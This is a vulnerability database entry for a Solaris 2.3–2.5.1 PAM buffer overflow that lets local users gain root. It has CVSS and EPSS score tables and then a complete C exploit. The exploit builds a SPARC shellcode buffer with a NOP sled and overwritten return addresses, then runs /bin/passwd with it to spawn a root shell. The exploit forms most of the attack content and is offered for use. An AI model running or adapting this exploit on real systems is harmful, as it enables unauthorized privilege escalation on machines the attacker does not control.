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Buffer overflow in (1) pluggable authentication module (PAM) on Solaris 2.5.1 and 2.5 and (2) unix_scheme in Solaris 2.4 and 2.3 allows local users to gain root privileges via programs that use these modules such as passwd, yppasswd, and nispasswd.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.16%
2025-03-30
–
–
–
–
0.16%
2025-04-06
–
–
–
–
0.16%
2025-04-15
–
–
–
–
0.16%
2025-04-15
–
–
–
–
0.16,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/201/info
There is a buffer overflow condition on arguments in Pluggable Authentication Modules (PAM) and unix_scheme (5.4 and 5.3). Therefore, an unauthorized user could exploit this vulnerability via the passwd program to gain root access. Under SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, yppasswd and nispasswd are hard links to the passwd program and therefore are also vulnerable. Under SunOS 5.4 and 5.3, passwd, yppasswd, and nispasswd are separate programs but they dynamically link unix_scheme and are affected.
*/
/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1100
#define EXTRA 1200
#define STACK_OFFSET 3800
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/passwd", "passwd", buf,(char *) 0);
perror("execl failed");
}